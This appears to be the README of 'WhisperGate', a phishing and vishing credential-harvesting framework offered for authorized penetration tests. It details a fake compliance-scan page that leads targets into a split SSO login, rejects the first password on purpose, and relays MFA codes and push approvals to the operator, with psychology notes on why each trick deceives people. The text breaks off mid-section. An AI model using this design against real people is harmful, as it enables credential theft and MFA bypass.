WhisperGate

<p align="center"> <img src="static/images/logo.png" alt="WhisperGate" width="400"> </p> <p align="center"> <strong>Multi-stage credential harvesting framework for authorized phishing &amp; vishing assessments</strong> </p> <p align="center"> <a href="#features">Features</a> • <a href="#how-it-works">How It Works</a> • <a href="#social-engineering-psychology">SE Psychology</a> • <a href="#operator-panel">Operator Panel</a> • <a href="#quick-start">Quick Start</a> • <a href="#customization">Customization</a> • <a href="#disclaimer">Disclaimer</a> </p>

---

Overview

WhisperGate is a credential harvesting tool built for professional penetration testers conducting authorized phishing and vishing engagements. It presents a realistic endpoint compliance scanner that walks targets through a multi-stage flow — device scan, results review, SSO authentication, and an operator-controlled verification hold — giving operators full control over pacing during live phone-based social engineering.

Every design decision in WhisperGate is rooted in social engineering psychology. This isn't a tool that was built to look pretty — it was built to exploit the way people make trust decisions under pressure. The SE Psychology section below breaks down the reasoning behind each feature.

The tool supports multiple simultaneous targets with per-target session isolation. Each target gets their own card on the operator panel with independent controls, status tracking, credential copy buttons, and notes. Operators can mark MFA bypass, release individual targets, and export everything to a formatted Excel report.

Built by @whisk3y3

---

Features

Core Flow

• Multi-stage pipeline — scan → results → SSO email → org lookup → password → verification hold → operator release → completion
• Browser fingerprinting — scan results are dynamically generated from the target's actual user agent, OS, browser version, screen resolution, and timezone
• Split SSO login — email and password are collected on separate screens with a "Taking you to your organization's sign-in page..." loading transition, mirroring real Microsoft/Okta/Entra ID flows
• Per-engagement branding — set ORG_NAME once and it flows through the SSO hint, org lookup screen, and completion message
• First-attempt rejection — the first password submission is rejected with a realistic error message; both passwords are logged (configurable)
• Operator-controlled release — the verification screen holds indefinitely until the operator releases that specific target
• Real-time MFA relay — operator can push any MFA challenge type (number match, push approval, TOTP, SMS) to the target's screen in real-time, and receive codes back from the target for two-way relay
• Clean exit — after release, the target sees "Submission Complete — You may close this window" instead of a redirect

Operator Panel

• Per-target cards — each target gets their own card showing email, IP, session ID, all captured passwords, and a status badge
• Status progression — Scanning → Captured → MFA Pending → Compromised → Released, updated in real-time
• Per-target isolation — releasing one target doesn't affect any others; WebSocket rooms are scoped per session
• One-click credential copy — Copy Username and Copy Latest Password buttons on each card, plus individual Copy buttons on every password entry
• Mark Compromised — appears when a target is in MFA Pending status; tags the target as MFA bypassed before release
• MFA Relay — four challenge types the operator can push to a target's screen in real-time:
  • Push Approval — sends "Approve the request on your device" with a waiting spinner
  • Number Match — operator enters the number (e.g. 86), target sees it displayed in large text with instructions to enter it in their authenticator app
  • TOTP Code — target sees an input field to enter their 6-digit authenticator code; code relays back to the operator panel with a Copy button
  • SMS Code — same two-way relay as TOTP but for SMS codes; operator can include the phone number hint (e.g. "ending in 4823")
• Per-target notes — textarea on every card for documenting outcomes; auto-saves and exports with the report
• Engagement timer — running clock from first credential capture, plus per-target timers showing elapsed time since each target's first submission
• Stats dashboard — Total Targets, Creds Captured, MFA Bypassed, and Released at a glance
• Excel export — one-click download with two sheets: Captured Credentials (full details per attempt) and Engagement Summary
• State persistence — refreshing the operator panel reloads all existing target data from the server

Realism Details

• Session awareness — page state persists across refreshes; targets who reload skip the scan and return to results
• Randomized scan timing — each compliance check takes a different amount of time with natural variance
• OS-aware results — scan output adapts per platform (BitLocker/FileVault/LUKS, Defender/XProtect/ClamAV, etc.)
• Contextual MFA notice — appears only during the MFA verification step with a device approval prompt
• Subtle top bar — policy reference number instead of an "encrypted connection" badge
• Favicon — inline SVG shield icon so the browser tab looks legitimate

---

How It Works

WhisperGate walks the target through five stages. Each stage is designed around a specific psychological principle — see the callouts below each stage and the full SE Psychology section for deeper analysis.

Stage 1 — Endpoint Compliance Scan

The page fingerprints the target's browser and builds compliance check results using real device data. An animated scanner reveals each check with randomized timing over approximately 12 seconds.

Conference demo note: On a Mac, the scan shows macOS, FileVault, XProtect, and Safari/Chrome. On Windows, it shows Windows 11, BitLocker, Defender, and Edge/Chrome. All derived from the browser's own telemetry.

🧠 Why this works: The scan creates a commitment investment. The target has now spent 12 seconds watching their device get "scanned" — they've invested time, and the results feel personalized because they reflect their actual system. Walking away now means that investment was wasted. The scan also establishes authority framing: the page is telling the target about their own device, which positions it as a system with knowledge and access the target doesn't have. People don't question tools that appear to know more than they do.

Stage 2 — Scan Results

Results display in a compliance table with pass/fail badges. A "Submit to IT Helpdesk" button sits below the summary with a note: "You will be prompted to authenticate with your [Org] account."

🧠 Why this works: The results include deliberate failures — a missing security patch, flagged browser extensions. These create anxiety and urgency. The target now believes their device has a compliance problem, and the only path to resolution is the "Submit to IT Helpdesk" button. This is textbook fear-then-relief: introduce a threat, then offer a clear action to resolve it. The target isn't just willing to authenticate — they're motivated to. The "Submit" button is also intentionally separated from the login form. It feels like a natural handoff to an SSO provider, not a credential grab bolted onto a scan page.

Stage 3 — SSO Authentication (Email → Password)

Clicking "Submit to IT Helpdesk" transitions to a standalone sign-in page. The target enters their email first, sees a loading screen ("Taking you to your organization's sign-in page..."), then the password page with the hint "Sign in with your [Org] account."

The first password is rejected with "Your account or password is incorrect." The second attempt succeeds. Both are captured and logged.

🧠 Why this works — the split flow: Every modern identity provider (Microsoft Entra, Okta, Google Workspace) collects email and password on separate screens. Showing both fields on a single page is one of the most common tells of a phishing page — it looks like 2018 because it is 2018. The split flow with an org lookup animation in between matches what the target sees every day when they log into real work applications. Muscle memory takes over. They're not evaluating whether the page is real — they're just doing the thing they've done a thousand times.

🧠 Why this works — first-attempt rejection: This is counterintuitive, which is why it's effective. Most people assume a fake site would accept any password — so when the page rejects their first attempt, it paradoxically increases trust. The target thinks "okay, this is actually checking my credentials against something real." They re-enter their password (often the same one, sometimes a different one), and the second attempt succeeds. The operator now has two captured passwords. A surprising number of people rotate between 2-3 passwords across different systems, so the first attempt might be their email password while the second is their VPN password. Both get logged with attempt numbers and both appear in the Excel export.

<!-- Screenshots needed: stage3_email.png, stage3_org_lookup.png, stage3_password.png, stage3_password_error.png -->

Stage 4 — Verification Hold & MFA Relay

After authentication, the page shows a staged verification sequence:

1. Authenticating credentials (3s)
2. Verifying MFA (7s) — a default notice appears: "A verification request has been sent to your registered device."
3. Uploading scan results (14s)
4. Awaiting confirmation (20s+) — holds indefinitely

This is the operator's wo